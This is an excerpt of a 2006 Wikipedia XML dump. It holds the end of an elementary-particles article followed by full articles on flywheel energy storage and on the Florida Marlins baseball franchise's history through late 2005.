Evidence for the existence of quarks comes from [[deep inelastic scattering]]: firing [[electron]]s at [[atomic nucleus|nuclei]] to determine the distribution of charge within [[nucleon]]s (which are baryons). If the charge is uniform, the [[electric field]] around the proton should be uniform and the electron should scatter elastically. Low-energy electrons do scatter in this way, but above a particular energy, the protons deflect some electrons through large angles. The recoiling electron has much less energy and a [[jet (particle physics)|jet of particles]] is emitted. This inelastic scattering suggests that the charge in the proton is not uniform but split among smaller charged particles: quarks.

=== Fundamental bosons ===
{{main|boson}}

In the Standard Model, vector ([[spin (physics)|spin]]-1) bosons ([[gluon]]s, [[photon]]s, and the [[W and Z bosons]]) mediate forces, while the [[Higgs boson]] is responsible for particles having intrinsic [[mass]].

==== Gluons ====
{{main|gluon}}

Gluons are the mediators of the [[strong interaction]] and carry both [[color charge|color]] and anticolor. Although gluons are massless, they are never observed in [[particle detector|detectors]] due to [[confinement]]; rather, they produce [[particle jet|jets]] of [[hadron]]s, similar to single [[quark]]s.

==== Electroweak bosons ====
{{main|W and Z bosons}}

There are three [[weak gauge boson]]s: ''W&lt;sup&gt;+&lt;/sup&gt;'', ''W&lt;sup&gt;−&lt;/sup&gt;'', and ''Z&lt;sup&gt;0&lt;/sup&gt;''; these mediate the [[weak interaction]]. The massless [[photon]] mediates the [[electromagnetism|electromagnetic interaction]].

==== Higgs boson ====
{{main|higgs boson}}

Although the weak and electromagnetic forces appear quite different to us at everyday energies, the two forces are theorized to be unified as a single [[electroweak force]] at high energies. The reason for this difference at low energies is thought to be due to the existence of the [[Higgs field]]. Through the process of [[spontaneous symmetry breaking]], the Higgs selects a special direction in electroweak space that causes three electroweak particles to become very heavy (the weak bosons) and one to remain massless (the electromagnetic photon). Although the Higgs mechanism has become an accepted part of the Standard Model, the [[Higgs boson]] itself has never been observed in detectors. This is thought to be due to the particle's great mass, but its continuing absence is a major cause of concern for particle physicists.

== Beyond the Standard Model ==

Although there is no experimental evidence that does not agree with the [[Standard Model]], many physicists find it to be unsatisfactory due to its many free parameters, many [[fundamental particle]]s, the non-observation of the [[Higgs boson]] and other problems such as the [[hierarchy problem]]. As a result, there are many speculative theories beyond the Standard Model.

=== Grand unification ===
{{main|grand unification theory}}

One extension of the Standard Model attempts to combine the [[electroweak interaction]] with the [[strong interaction]] into a single grand unified theory (GUT). Such a force would be [[spontaneous symmetry breaking|spontaneously broken]] into the three forces by a [[Higgs mechanism|Higgs-like mechanism]]. The most dramatic prediction of grand unification the existence of [[X boson]]s, which cause [[proton decay]]. However, the non-observation of proton decay at [[Super-Kamiokande]] rules out the simplest GUTs, including SU(5) and SO(10).

=== Supersymmetry ===
{{main|supersymmetry}}

Supersymmetry extends the Standard Model by adding an additional class of symmetries to the [[Lagrangian]]. These symmetries exchange [[fermion]]ic particles with [[boson]]ic ones. Such a symmetry predicts the existence of '''supersymmetric particles''', abbreviated as '''[[sparticle]]s''', which include the [[slepton]]s, [[squark]]s, [[neutralino]]s and [[chargino]]s. Each particle in the Standard Model would have a superpartner whose [[spin (physics)|spin]] differs by 1/2 from the ordinary particle. Due to the [[supersymmetry breaking|breaking of supersymmetry]], the sparticles are much heavier than their ordinary counterparts; they are so heavy that existing [[particle collider]]s would not be powerful enough to produce them. However, some physicists believe that sparticles will be detected when the [[Large Hadron Collider]] at [[CERN]] begins running.

=== String theory ===
{{main|string theory}}

According to [[string theory|string theorists]], each kind of fundamental particle corresponds to a different patterns of fundamental string. All strings are essentially the same, although they may be open (lines) or closed (loops). Different particles differ in the coordination of their strings. Modern string theories include [[supersymmetry]], making them [[superstring theory|superstring theories]].

One particular prediction of string theory is the existence of extremely massive counterparts of ordinary particles due to vibrational excitations of the fundamental string. Another important prediction of string theory is the existence of a massless spin-2 particle behaving like the [[graviton]]. By predicting [[gravity]], string theory unifies [[quantum mechanics]] with [[general relativity]], making it the first consistent theory of [[quantum gravity]].

One problem with string theory is that it predicts that the number of [[dimension]]s for [[spacetime]] much greater than 4 (the number of observed dimensions). These [[extra dimensions]] are supposedly [[compactification (physics)|compactified]] or rolled-up. Other related theories such as [[brane]] theories contain extended extra dimensions, which are hidden from us by our confinement to a brane.

=== Preon theory ===
{{main|preon}}

According to preon theory there are one or more orders of particles more fundamental than those (or most of those) found in the [[Standard Model]]. The most fundamental of these are normally called preons, which is derived from &quot;pre-quarks&quot;. In essence, preon theory tries to do for the [[Standard Model]] what the Standard Model did for the [[particle zoo]] that came before it. Most models assume that almost everything in the Standard Model can be explained in terms of three to half a dozen more fundamental particles and the rules that govern their interactions. Interest in preons has waned since the simplest models were experimentally ruled out in the 1980's.

== Links and References ==

=== Reference ===
* [[Brian Greene]], ''The Elegant Universe'', W.W.Norton &amp; Company, 1999, ISBN 0-393-05858-1.

=== See also ===
* [[Subatomic particle]]
* [[Particle physics]]
* [[List of particles]]

== External links ==
* [[Brian Greene|Greene, Brian,]] &quot;''[http://www.pbs.org/wgbh/nova/elegant/part-flash.html Elementary particles]''&quot;. The Elegant Universe, [[Nova (series)|NOVA]] ([[PBS]])
*[http://particleadventure.org/particleadventure/frameless/standard_model.html particleadventure.org: The Standard Model], *[http://particleadventure.org/particleadventure/frameless/beyond_start.html Unsolved Mysteries. Beyond The Standard Model], *[http://particleadventure.org/particleadventure/frameless/quarknaming.html What is the World Made of? The Naming of Quarks]
* [http://pdg.lbl.gov/ University of California: Particle Data Group]
* [http://particleadventure.org/particleadventure/frameless/chart.html particleadventure.org: Particle chart]
* [http://www.cerncourier.com/main/article/41/2/17 CERNCourier: Season of Higgs and melodrama]
* [http://plato.phy.ohiou.edu/~hicks/thplus.htm Pentaquark information page]

{{Elementary}}

[[Category:Subatomic particles]]
[[Category:Quantum mechanics]]

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[[cs:Elementární částice]]
[[da:Elementarpartikel]]
[[de:Elementarteilchen]]
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[[fr:Particule élémentaire]]
[[ko:기본입자]]
[[id:Partikel dasar]]
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    </revision>
  </page>
  <page>
    <title>Flywheel energy storage</title>
    <id>11275</id>
    <revision>
      <id>38668982</id>
      <timestamp>2006-02-07T21:41:51Z</timestamp>
      <contributor>
        <username>Brighterorange</username>
        <id>219031</id>
      </contributor>
      <minor />
      <comment>/* Future improvements */ fix my blunder</comment>
      <text xml:space="preserve">[[Image:G2 front2.jpg|right|thumb|250px|'''NASA G2 Flywheel''' ]]

'''Flywheel Energy Storage''' (FES) works by accelerating a rotor to a very high speed and maintaining the energy in the system as inertial energy.  Commercially available FES systems are used for small [[Uninterruptible power supply|uninterruptible power systems]]. The rotors normally operate at 4000 RPM or less and are made of metal.  Advanced flywheels are made of high strength carbon-composite filaments that spin at speeds from 20,000-100,000 RPM in a vacuum enclosure.  Magnetic bearings are necessary as speeds increase to reduce friction found in conventional mechanical bearings. Quick charging is done in less than 15 minutes. Long lifetimes of most flywheels, plus high energy (~ 130 Wh/kg) and high power are positive attributes.  The round trip energy efficiency of flywheels can be as high as 90%.  Since FES can store and release power quickly, they have found a niche providing pulsed power.  

== Main components ==

[[Image:Flywheel 2004 sm.jpg|right|thumb|200px|'''Internal Flywheel Components''']]

A typical system consists of [[rotor]] suspended by [[bearing]]s inside a [[vacuum]] chamber to reduce [[friction]], connected to a combination [[electric motor]]/[[electric generator]]. On larger systems, the bearings are magnetic.  The rotors are generally made of steel on smaller systems but large systems use high-tensile-strength fibers (such as [[carbon fiber]]s) embedded in [[epoxy]] [[resin]]s, or some other high-strength [[composite material]].  Energy is stored by using an electric motor to increase the speed of the spinning flywheel. The system releases its energy by using the [[momentum]] of the flywheel to power the motor/generator.

== Physical characteristics ==
[[Image:Nasarotor.jpg|right|thumb|150px|'''Metal Flywheel Rotor''' ]]
Energy is stored in the rotor in proportion to its momentum, but the square of the angular momentum.  The [[kinetic energy]] stored in a rotating flywheel is:

'''&lt;math&gt;KE=\frac{1}{2}\cdot I\cdot \omega^2&lt;/math&gt;'''

Where 

&lt;math&gt; \omega &lt;/math&gt; = the [[angular velocity]] in [[radian|radians]] per [[second]].

&lt;math&gt; I &lt;/math&gt; = the [[moment of inertia]] of the [[mass]] about the center of rotation. 

The moment of inertia may also be written as the product of three terms.

&lt;math&gt; I=k\cdot M\cdot \R^2 &lt;/math&gt;

Where

&lt;math&gt; k &lt;/math&gt; = the inertial constant

&lt;math&gt; M &lt;/math&gt; = the mass

&lt;math&gt; R &lt;/math&gt; = the distance the center of mass is from the center of rotation

Inertial constants are used to account for the differences in the placement of the mass from the center of rotation.  Placing all the mass on the outside of the disk would provide for the biggest inertial constant.

&lt;math&gt; k = 1 &lt;/math&gt;, wheel with all mass on the outer rim 

&lt;math&gt; k =\frac{1}{2} &lt;/math&gt;, uniformaly distributed mass (solid disk) 

&lt;math&gt; k =\frac{2}{5} &lt;/math&gt;, solid sphere

&lt;math&gt; k =\frac{2}{3} &lt;/math&gt;, spherical shell

&lt;math&gt; k =\frac{1}{2} &lt;/math&gt;, thin rectangular rod

A flywheel is more effective when its inertia is larger, as when its mass is located farther from the center of rotation either due to a more massive rim or due to a larger diameter.  However, because increasing the rotational velocity of the flywheel results in a geometric increase in stored kinetic energy (rather than a linear growth when increasing the mass), modern research focuses on making flywheels spin as fast as possible.

== Applications ==

In the [[1950s]] flywheel-powered buses, known as [[gyrobus]]es, were used in [[Yverdon]], [[Switzerland]], and there is ongoing research to make flywheel systems that are smaller, lighter, cheaper, and have a greater capacity.  It is hoped that flywheel systems can replace conventional chemical batteries for mobile applications, such as for electric vehicles.  Proposed flywheel systems would eliminate many of the disadvantages of existing battery power systems, such as low capacity, long charge times, heavy weight, and short usable lifetimes.  Flywheel systems have also been used experimentally in small [[electric locomotive]]s for shunting or [[switcher|switching]].

In the [[1980s]] Soviet engineer [[Nourbey Gulia]] had been working on flywheel energy storage. His work resulted in many original solutions for wheel suspension, sealing the vacuum chamber, rotation rate decline compensator and hydraulic transmission. However, the primary advance was the composite flywheel capable of rotation rates exceeding 40,000 rpm, running for up to a week when not loaded, and resistant to explosive destruction. Gulia's &quot;super flywheels&quot; were tightly wound of metal or plastic tape, which, in addition to tensile strength higher than that of molded steel, simply unwound inside the chamber, filling it and grinding to a stop. Gulia's first wheels were made of steel tape, but the latest models used Kevlar filament, wound not unlike a bobbin of thread.

Flywheel power storage systems in current production ([[2001]]) have storage capacities comparable to batteries and faster discharge rates.  They are mainly used to provide load leveling for large battery systems, such as an [[uninterruptible power supply]].  Developers of such flywheel energy storage systems include Active Power, AFS Trinity and Beacon Power.

A long-standing niche market for flywheel power systems is facilities where
circuit-breakers and similar devices are tested: even a small household
circuit-breaker may be rated to interrupt a current of 10,000 or more
amps, and larger units may be have interrupting ratings of 100,000 or
1,000,000 amps.  Obviously the enormous transient loads produced by
deliberately forcing such devices to demonstrate their ability to interrupt
simulated short circuits would have unacceptable effects on the local
grid if these tests were done directly off building power.  So typically
such a laboratory will have several large motor-generator sets, which
can be spun-up to speed over some minutes; then the motor is disconnected
before a circuit-breaker is tested.

== Advantages and disadvantages ==

Flywheels are not affected by temperature changes as are chemical [[battery (electricity)|batteries]], nor do they suffer from [[memory effect]]. Moreover, they are not as limited in the amount of energy they can hold. They are also less potentially damaging to the environment, being made of largely inert or benign materials. Another advantage of flywheels is that by a simple measurement of the rotation speed it is possible to know the exact amount of energy stored. However, use of flywheel accumulators is currently hampered by the danger of explosive shattering of the massive wheel due to overload. 

One of the primary limits to flywheel design is the [[tensile strength]] of the material used for the rotor.  Generally speaking, the stronger the disc, the faster it may be spun, and the more energy the system can store.  When the tensile strength of a flywheel is exceeded the flywheel will shatter, releasing all of its stored energy at once;  this is commonly referred to as &quot;flywheel explosion&quot; since wheel fragments can reach kinetic energy comparable to that of a cannon shell. Consequently, traditional flywheel systems require strong containment vessels as a safety precaution, which increases the total mass of the device. Fortunately, composite materials tend to disintegrate quickly once broken, and so instead of large chunks of high-velocity shrapnel one simply gets a containment vessel filled with red-hot sand (still, many customers of modern flywheel power storage systems prefer to have them embedded in the ground to halt any material that might escape the containment vessel).  Gulia's tape flywheels did not require a heavy container and reportedly could be rewound and reused after a tape fracture.

== Future improvements ==

The expense of refrigeration led to the early dismissal of low temperature superconductors for use in magnetic bearings.  High temperature superconductor (HTSC) bearings however may be economic and could possibly extend the time energy could be stored economically.  Hybrid bearing systems are most likely to see use first.  HTSC bearings have historically had problems providing the lifting forces necessary for the larger designs, but can easily provide a stabilizing force.  Therefore, in hybrid bearings, permanent magnets support the load and HTSC are used to stabilize it. The reason superconductors can work well stabilizing the load is because they are good diamagnets. In hybrid-bearing systems, a conventional magnet levitates the rotor, but the high temperature superconductor keeps it stable.  If the rotor tries to drift off center, a restoring force due to [[flux pinning]] restores it. This is known as the magnetic stiffness of the bearing. Rotational axis vibration problems caused by the low stiffness and damping and are an inherent problem in completely superconducting magnetic bearings for flywheel applications. 
 
Since flux pinning is the important factor for providing the stabilizing and lifting force, the HTSC can be made much easier for FES than for other uses.  HTSC powders can be formed into arbitrary shapes so long as flux pinning is strong.  An ongoing challenge that has to be overcome before superconductors can provide the full lifting force for a FES system is finding a way to suppress the decrease of levitation force and the gradual fall of rotor during operation caused by the flux creep of SC material.

Parasitic losses such as friction, hysteresis and [[eddy current]] losses of both magnetic and conventional bearings in addition to refrigerant costs can limit the economical energy storage time for flywheels.  However, further improvements in [[superconductor]]s may help eliminate eddy current losses in existing magnetic bearing designs as well as raise overall operating temperatures. Even without such improvements, however, modern flywheels can have a zero-load rundown time measurable in years.

==References==

* Sheahen, T., P.  (1994).  Introduction to High-Temperature Superconductivity.  Plenum Press, New York.  pp. 76-78, 425-431.

* El-Wakil, M., M.  (1984).  Powerplant Technology.  McGraw-Hill, pp. 685-689.

* Koshizuka, N., Ishikawa, F.,Nasu, H., Murakami, M., Matsunaga, K., Saito, S., Saito, O., Nakamura, Y., Yamamoto, H., Takahata, R., Itoh, Y., Ikezawa, H., Tomita, M.  (2003).  Progress of superconducting bearing technologies for flywheel energy storage systems.  Physica C 386, pp. 444–450.

* Wolsky, A., M.  (2002).  The status and prospects for flywheels and SMES that incorporate HTS.  Physica C 372–376, pp. 1495–1499.

* Sung, T., H., Han, S., C., Han, Y., H., Lee, J., S., Jeong, N., H., Hwang, S., D., Choi, S.,  K.  (2002). Designs and analyses of flywheel energy storage systems using high-Tc superconductor bearings.  Cryogenics V. 42, pp. 357–362.

* http://www.parcon.uci.edu/OLD_WEBSITE/paper/eeenergy.htm

* http://infoserve.sandia.gov/cgi-bin/techlib/access-control.pl/1997/970443.pdf

* http://www.wtec.org/loyola/scpa/04_02.htm

* [http://space-power.grc.nasa.gov/ppo/highlights/ NASA Power and Propulsion Office: Highlights and Accomplishments]

== See also ==

*[[Grid energy storage]]
*[[Flywheel]]

[[es:batería inercial]]
[[Category:Energy storage]]</text>
    </revision>
  </page>
  <page>
    <title>Florida Marlins</title>
    <id>11278</id>
    <revision>
      <id>42064988</id>
      <timestamp>2006-03-03T15:50:27Z</timestamp>
      <contributor>
        <ip>131.44.121.252</ip>
      </contributor>
      <comment>/* 2005 offseason */</comment>
      <text xml:space="preserve">{{MLB infobox Marlins}}

The '''Florida Marlins''' are a [[Major League Baseball]] team based in [[Miami, Florida|Miami]], [[Florida]], [[United States|USA]]. They are in [[National League East|Eastern Division of the National League]].

In only a decade since their inception into the majors, the Marlins have been highly successful on the field, winning two [[World Series]], but draw among the smallest crowds in baseball. In late [[2005]], the organization began a [[fire sale]] and announced plans to relocate in the coming years.

== Franchise history ==
===1993-1996===
On [[June 10]], 1991, the National League awarded a franchise to [[Wayne Huizenga]], chief executive officer of [[Blockbuster Video|Blockbuster Entertainment Corporation]], owner of the [[Miami Dolphins]] football team, and chairman of the board of the [[Florida Panthers]] hockey team. The Marlins' first [[Manager (baseball)|manager]] was [[Rene Lachemann]], a former [[catcher]] who had previously managed the [[Seattle Mariners]] and [[Milwaukee Brewers]] and at the time of his hiring was [[3rd Base Coach]] under [[Tony LaRussa]] for the [[Oakland Athletics]]. Lachemann kept Florida out of the Eastern Division cellar during the 1993 season as the team finished the year five games ahead of the last-place [[New York Mets]]. After the Marlins finished last in their division in [[1994]] and fourth in [[1995]], Lachemann was replaced as manager midway through the [[1996]] season with the Marlins' director of player development, [[John Boles]].

Despite problems in the dugout and on the field, the Marlins had some bright spots on the mound and behind the plate in 1996. The team's 3.95 [[earned run average|ERA]] ranked third in the NL, led by newcomer [[Kevin Brown]], who finished the season with a 17-11 win-loss record and an impressive 1.89 ERA. Catcher [[Charles Johnson (baseball)|Charles Johnson]] led the league with a .995 [[fielding percentage]], threw out a league-high 48 percent of base runners, and collected his second straight [[Gold Glove Award]] for fielding excellence. After a slow start, the Marlins finished the year with an 80-82 win-loss record to place third in their division. Boles then returned to his previous position as director of player development, and former [[Pittsburgh Pirates]] manager [[Jim Leyland]] was hired to lead the club in 1997.

===1997 season: Already on Top===
The Marlins got their second no-hitter from ace Kevin Brown, the first coming in 1996 from [[Al Leiter]]. With those two starters and an almost automatic closer in [[Robb Nen]], the Marlins' staff was almost systematic during their regular season run. In 1997, the Florida Marlins led by new manager  Jim Leyland won the wild card, finishing 92-70. RF [[Gary Sheffield]] followed his 40 HR 120 RBI season with a .250 average but 6 million dollars richer. Veteran additions such as LF [[Moises Alou]], 3B [[Bobby Bonilla]], and [[Darren Daulton|Darren &quot;Dutch&quot; Daulton]] added experience and clutch hits. Talented young stars and starters [[Luis Castillo]] (2B) and [[Edgar Renteria]] (SS) were one of the best double play combos in the League. Castillo was injured and replaced by [[Craig Counsell]] before the playoffs began. They swept the [[San Francisco Giants]] 3-0 in the [[National League Division Series]], and then went on to beat the [[Atlanta Braves]] 4-2 in the [[National League Championship Series]]. 

The underdog Florida Marlins went on to face the [[Cleveland Indians]] in the [[1997 World Series]] and won in 7 games, with an amazing extra-inning single by shortstop [[Edgar Rentería]] off of Cleveland pitcher [[Charles Nagy]], which barely cleared his glove, scoring [[Craig Counsell]] to win the game. [[Liván Hernández]] was named the MVP.

===1998-2002===
Following the World Series victory team owner [[Wayne Huizenga]] claimed massive financial losses which would later prove to be mostly false as he reported team and stadium earnings separately. He dismantled the team by trading off most of the club's most talented players. Among them, [[Moises Alou]] was traded to the [[Houston Astros]], [[Bobby Bonilla]] was traded to the [[Los Angeles Dodgers]], and [[Kevin Brown]] was traded to the [[San Diego Padres]]. Fans were outraged by this &quot;fire sale&quot;, some comparing it to Blockbuster Video selling used tapes at bargain rates. Some disgruntled fans came up with the slogan, &quot;Wait 'til last year!&quot;  Marlins home attendance plummeted.

The Marlins' record in [[1998]] slumped to 54-108, making them the first club ever to win a World Series and then lose more than 100 games during the following season; as of 2005, they are still the only team to do this. Leyland resigned as manager in October 1998, being replaced by [[John Boles]], and Huizenga sold the club to businessman [[John Henry]] during the off-season. In [[2002]], the Marlins' fifth straight losing season since winning the World Series, the team drew a franchise-low 813,111 fans, averaging just 10,038 per game.

The club slowly worked back to becoming a respectable ballclub despite attendance issues, driven by young stars such as [[A.J. Burnett]], [[Luis Castillo]], and [[Mike Lowell]]. From 2000 through 2002, the Marlins consecutively put up three 75+ win seasons. In 2002, [[Jeff Torborg]] replaced [[Tony Perez]] as the Marlins' manager. Torborg put up a 79-83 record in his first season with the team.

In 2002 the club would also be distracted by new owner [[Jeffrey Loria]] becoming the co-defendant (along with Commissioner [[Bud Selig]]) in a [[RICO Act]] lawsuit filed by the former minority partners of the [[Montreal Expos]], the team Loria previously owned. The minority owners (many of whom were now minority parnters of the Marlins) claimed that Loria and Selig deliberately defrauded the minority owners and devalued the team for personal gain. The case was sent to arbitration in 2004 and was settled for an undisclosed sum.

===2003 season: Back on Top===
In the offseason, the Marlins acquired 10-time [[Golden Glove]] winner [[Iván Rodríguez]] from free agency and [[Juan Pierre]] from the [[Colorado Rockies]] after trading off homerun sluggers [[Cliff Floyd]] and [[Preston Wilson]].

The Marlins struggled in the opening stages of the season, going 16-22.  In that span, Florida also lost its top three pitchers, [[A.J. Burnett]], [[Josh Beckett]], and [[Mark Redman]]. On May 11, Florida replaced manager Torborg with 72-year-old [[Jack McKeon]]. On May 22, Florida was at its lowest point, with a major league worst record of 19-29, having lost 6 straight games.

Around the same time (May 9), Florida called the high-kicking rookie phenom [[Dontrelle Willis]] up from the Double-A [[Carolina Mudcats]], who helped carry the injury-plagued Marlins with a 11-2 record in his first 3 months (17 starts). [[Miguel Cabrera]] (also from the Mudcats), [[Jeff Conine]] (from [[Baltimore Orioles|Baltimore]]) and [[Ugueth Urbina]] (from [[Texas Rangers (baseball)|Texas]]) were all acquired mid-season as well to help the Marlins play-off push. Finally, Florida clinched the National League Wild Card for the second time in team history with a 4-3 win over the [[New York Mets]] on [[September 26]], finishing with an overall record of 91-71.  

The Marlins clinched the Division Series against the favored [[San Francisco Giants]] going 3 games to 1. In the two Division Series games at Pro Player Stadium, Florida drew over 130,000 fans.  The series ended with Marlins catcher Rodríguez tagging out a charging [[J.T. Snow]] at the plate after catching a perfect throw from Jeff Conine, which made it just in time to make the play. Snow, the son of former [[Los Angeles Rams|Rams]] wide receiver Jack Snow, tried using a football-type move by lowering his shoulder and bulldozing Rodríguez at the plate, but the Marlins catcher held on to the ball for the out. It was the first postseason series ever to end with the potential tying run being thrown out at the plate. On October 15, the Marlins defeated the [[Chicago Cubs]] four games to three in the 2003 [[National League Championship Series]], after falling three games to one before coming back with a Beckett complete-game [[shutout]] in Game 5; [[The Inning]], in Game 6, and the traditional come-from-behind win in Game 7 to take the series, staking claim to their second NL pennant and advancing to the [[2003 World Series]], where they defeated the [[New York Yankees]] in six games. [[Starting pitcher|Starter]] Josh Beckett was named the ''Most Valuable Player'' for the series after twirling a five-hit complete-game shutout in Game 6.

===2003 offseason===
*[[Dontrelle Willis]] named [[MLB Rookie of the Year award|NL Rookie of the Year]]
*[[Jack McKeon]] named [[Manager of the Year Award|Manager of the Year]]
*[[Derrek Lee]] traded to [[Chicago Cubs]] for [[Hee Seop Choi]]
*[[Iván Rodríguez]] up for free agency (signed by the [[Detroit Tigers]])

===2004 season===
Although posting a winning record of 83-79 (only their third winning season of their history), the Marlins' aspirations of successfully defending their World Series title fell short as they finished nine games behind the [[Houston Astros]] for the National League Wild Card title, thus the Marlins became the fourth consecutive major league team not to repeat as World Series champions.

A series of rain-outs in September (due to hurricanes in Florida), the delayed doubleheaders that followed, and losing three key players from the Marlins' previous championship year (Rodríguez, Lee and Urbina) factored in the team's downfall during the season's stretch run.

But the team was able to retain Jack McKeon as manager for the 2005 season.

===2005 season===
While losing All-Stars [[Carl Pavano]] and [[Armando Benitez]] in the off-season, the Marlins signed [[pitcher|P]] [[Al Leiter]] and [[first baseman|1B]] [[Carlos Delgado]]. Delgado's contract was the biggest in franchise history at $52 million over 4 years, with an option for a fifth year. Meanwhile, play-by-play TV broadcaster [[Len Kasper]] was also lost to the Chicago Cubs and replaced by [[Rich Waltz]] (who had previously been with the [[Seattle Mariners]]), and radio announcer [[Boog Sciambi]] was replaced by [[Roxy Bernstein]]. 

With the addition of Delgado, the Marlins were expected to finish the [[2005]] season in either first or second place in the NL East by many sportswriters.  However, at the All-Star break they were 44-42, and the NL East was unusually competitive, as all five of its teams had a winning record at the break.  As a result, the Marlins were criticized for underachieving in the first half of the season.  While Cabrera, Willis, and several others posted very good first-half numbers, Lowell was one of the worst offensive producers among regular major-league starters, and Leiter went 3-7 with an [[earned run average|ERA]] of 6.64 before being traded to the New York Yankees on [[July 15]] for a player to be named later.  Additionally, [[Guillermo Mota]], who was acquired by Florida in 2004 along with [[Paul Lo Duca]] and [[Juan Encarnacion]] and was expected to be their closer, turned out inconsistent, and the Marlins gave the closer job to veteran [[Todd Jones (baseball player)|Todd Jones]], whom they signed in the offseason. However, the Marlins did send four players to the All-Star Game (Willis, Lo Duca, Castillo, and Cabrera), tying a team record.

The club was expected to be quite active at the trading deadline ([[July 31]]), as Burnett was slated to be a free agent after the season and had already declared his desire to test the market like Pavano did rather than stay in Florida.  Burnett was mentioned in possible trades with the [[Chicago White Sox]], [[Boston Red Sox]], [[New York Yankees]], [[Toronto Blue Jays]], and Texas Rangers, with many rumors also including Lowell or Encarnacion. There were also rumors that [[Jack McKeon]] would be fired, with former Marlins manager [[Jim Leyland]] and Yankees bench coach [[Joe Girardi]] being among the rumored replacements.  The Marlins did not make a huge move at the deadline, instead trading minor-leaguers [[Yorman Bazardo]] and [[Mike Flannery]] to the [[Seattle Mariners]] for left-handed pitcher [[Ron Villone]].

The Marlins did have some pleasant surprises during the season.  [[Dontrelle Willis]] became the 13th member of the [[Black Aces]] when he defeated the [[Washington Nationals]] to earn his 20th win.  He finished the season 22-10 with a 2.63 ERA, and he was considered a favorite to win the [[Cy Young Award]] for much of the season.  Also, Jones, a journeyman who had been signed as a setup man, had one of the best years of his career as a closer; he earned 40 [[save (baseball)|save]]s and had a 2.13 ERA.  In addition, late-season callup [[Jeremy Hermida]], a highly-regarded prospect who has been compared to the [[Atlanta Braves]]' [[Jeff Francoeur]], hit a grand slam in his first major-league at-bat and a game-tying two-run homer in the last game of the season.

The Marlins led the NL wild-card race as late as [[September 13]], but they then lost 12 of their next 14 games.  Adding to the controversy was the [[September 26]] dismissal of A.J. Burnett from the team for making disparaging comments about the Marlins' lack of offense, their &quot;scared&quot; ways of playing and coaching, and Jack McKeon's management of the team.  The Marlins closed the season by sweeping the Braves, and their final record for the season stood at 83-79.

===2005 offseason===
McKeon, still the oldest manager in the majors at age 74, announced his retirement on [[October 2]] after the Marlins' last game of the season.  Former [[Tampa Bay Devil Rays]] manager [[Lou Piniella]], Braves third base coach [[Fredi Gonzalez]] (who previously managed in the Marlins' farm system), and [[New York Yankees]] bench coach [[Joe Girardi]] were named as possible replacements for McKeon. [http://florida.marlins.mlb.com/NASApp/mlb/news/article.jsp?ymd=20051002&amp;content_id=1235159&amp;vkey=news_fla&amp;fext=.jsp&amp;c_id=fla]  On [[October 19]], Girardi was hired as the new manager.  Girardi, who was hired at age 41, became the youngest current manager in the major leagues. [http://florida.marlins.mlb.com/NASApp/mlb/news/article.jsp?ymd=20051019&amp;content_id=1254369&amp;vkey=news_fla&amp;fext=.jsp&amp;c_id=fla]

Few of the coaching staff, aside from infield/first base coach Perry Hill and bullpen coordinator Pierre Arsenault, are expected to return; Marlins GM [[Larry Beinfest]] has told them to seek employment elsewhere.  Pitching coach Mark Wiley and bullpen coach Luis Dorante came under fire during the season due to the late-season struggles of Burnett and the season-long struggles of the Marlins' bullpen.  Similarly, hitting coach Bill Robinson was often blamed for the Marlins' offensive woes throughout the season, and in particular his failure to get Pierre and Lowell out of season-long slumps.  Girardi is considering [[Andrés Galarraga]] as a replacement for Robinson; he has also hired [[Rick Kranitz]] as the new pitching coach and [[Bobby Meacham]] as the new third-base coach.

On [[October 3]], the first day after the end of the regular season, the Marlins made their first offseason moves, releasing relief pitchers [[John Riedling]] and [[Tim Spooneybarger]].  Riedling had a 4-1 record and a 7.14 ERA during the season; Spooneybarger, who had not played since 2003 due to rehabilitation from [[Tommy John surgery]], had to have the surgery a second time during the season and is expected to miss at least the [[2006 in baseball|2006]] season as well.  Reliever [[Jim Mecir]] retired following the Marlins' last game of the season.

[[Todd Jones (baseball player)|Todd Jones]], [[A.J. Burnett]], [[Jeff Conine]], [[Lenny Harris]], [[Juan Encarnación]], [[Alex González]], [[Brian Moehler]], [[Ismael Valdéz]], and [[Paul Quantrill]] were among the Marlins players whose contracts expired following the 2005 season.  Following the playoffs, they declared free agency.  Burnett signed a five-year deal with the [[Toronto Blue Jays]] worth [[U.S. dollar|$]]55 million; Jones signed for two years with the [[Detroit Tigers]], and Moehler elected to remain with the Marlins.  The Marlins declined to offer arbitration to Conine, Valdez, Quantrill, Encarnacion, Damion Easley, and Mike Mordecai, therefore ending their tenures with the club. [http://florida.marlins.mlb.com/NASApp/mlb/news/article.jsp?ymd=20051207&amp;content_id=1278816&amp;vkey=news_fla&amp;fext=.jsp&amp;c_id=fla]

[[Image:16220477.jpg|thumb|right|Artist's rendition of the proposed Marlins Stadium]]
Soon after the end of the 2005 season, the Marlins reported that their proposal for a new stadium had died due to the rising costs of building a new stadium.  Team president David Samson stated that the Marlins would explore relocation, and mentioned [[Las Vegas, Nevada]], [[Portland, Oregon]], [[Charlotte, North Carolina]], [[Monterrey, Mexico]],  northern New Jersey, [[Norfolk, Virginia]], and [[San Antonio, Texas]] as possible places where they could move. [http://florida.marlins.mlb.com/NASApp/mlb/news/article.jsp?ymd=20051122&amp;content_id=1271440&amp;vkey=news_fla&amp;fext=.jsp&amp;c_id=fla]  Within the same week, the Marlins started to shed payroll by dealing their highest-paid players for minor-league prospects, in a series of moves reminiscent of the &quot;fire sale&quot; in the 1997 offseason.  On [[November 21]], it was reported that [[Josh Beckett]] and [[Mike Lowell]] would be traded to the Red Sox for minor-league prospects shortstop [[Hanley Ramirez]], and pitchers [[Aníbal Sánchez]] and [[Jesús Delgado]].  The deal was made official three nights later, and also included the Marlins sending [[Guillermo Mota]] to the Red Sox and receiving minor-league pitcher Harvey Garcia.  The Beckett trade left the Marlins with just one member of their rotation on Opening Day in 2005, Dontrelle Willis.  The Marlins will fill most of the remaining rotation spots with young pitchers such as [[Jason Vargas]], [[Josh Johnson]], and [[Scott Olsen]], all of whom they had recalled from their [[Carolina Mudcats|Class AA affiliate]] during the 2005 season. [http://florida.marlins.mlb.com/NASApp/mlb/news/article.jsp?ymd=20051125&amp;content_id=1272277&amp;vkey=news_fla&amp;fext=.jsp&amp;c_id=fla]

